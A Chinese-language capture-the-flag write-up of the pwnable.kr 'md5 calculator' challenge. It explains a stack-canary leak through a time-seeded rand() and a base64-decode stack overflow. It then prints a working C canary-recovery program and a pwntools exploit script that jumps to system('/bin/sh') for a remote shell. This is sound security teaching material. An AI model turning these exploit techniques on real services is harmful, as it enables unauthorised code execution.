pwnable.kr - md5 calculator

题目简介

题目给出的信息如下:

题目信息

可知该题实现了一个 MD5 计算器,并且给出了一个提示,提示稍后再说。做这道题我学到了一个新的技能,就是 python 里面的 os.popen() 的用法,觉得十分有用,希望对大家也有帮助。

分析

下载得到文件,IDA 分析得到 main 函数如下:

main函数

这里可以得知几个关键的信息,首先程序应该是产生了随机数,并且使用了当前时间为种子。然后在 main 函数中竟然调用了 system 函数。继续分析 my_hash() 函数如下:

my_hash函数

这个函数的本意是返回几个随机数的和,然而这里有一个漏洞,返回值包含了程序的 stack canary。这里这么明显的使用了 stack canary,猜想题目是需要我们绕过 stack canary。怎么绕过后文再说,继续分析 process_hash 函数如下:

process_hash函数

这里是对我们输入的 base64 加密后的字符串进行解密操作,存放到 v3。然而输入字符串 g_buf 的大小为 1024,而 v3 的大小仅仅为 512。长度为 1024 的字符串 base64 解密后长度为 768,很明显会发生栈溢出。

综合分析以上得到的关键信息,stack canary,栈溢出以及给出的 system,可以得出解题的思路是,求得 stack canary 的值进行绕过,然后通过栈溢出跳转到 call system

至于 stack canary 的值,在题目给出的提示里面说到,程序和 pwnable.kr 的运行环境是一样的,即是说两者的时间一致,确定了种子,在 my_hash 函数中就可以反推得到 stack canary 的值了。

wirteup

编写 cal_stack_canary.c 如下:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) 
{
    int m = atoi(argv[2]);    // argv[2] = captcha
    int rands[8];
    int i;

    srand(atoi(argv[1]));    // argv[1] = time
    for (i = 0; i <= 7; i++)
    {
        rands[i] = rand();
    }

    m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];

    printf("%x\n", m);
    return 0;
}

编写 payload.py 如下:

import os
import time
from pwn import *

context(os='linux', arch='i386', log_level='debug')

p = remote('pwnable.kr', 9002)

p.recvuntil(' : ')
captcha = p.recvline().strip()
t = int(time.time())    # time.time() return float value

cookie = int('0x' + os.popen('./cal_stack_canary %s %s' %(t, captcha)).read().strip(), 16)

p.sendline(captcha)
p.recvuntil('me!\n')

call_system_addr = 0x8049187
g_buf_addr = 0x804b0e0

payload = 0x200 * 'a'
payload += p32(cookie)
payload += 12 * 'b'
payload += p32(call_system_addr)
payload += p32(g_buf_addr + 537*4/3)

payload = b64e(payload)
payload += '/bin/sh\x00'

p.sendline(payload)

p.interactive()

payload 里面值得注意的是,p32(g_buf_addr + 537*4/3) 这里应该写作 537 而不是 536,这个和 base64 的补全有关,用 536 进行计算得出的结果是小了一点的。

参考资料

pwnable.kr md5 calculator writeup

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值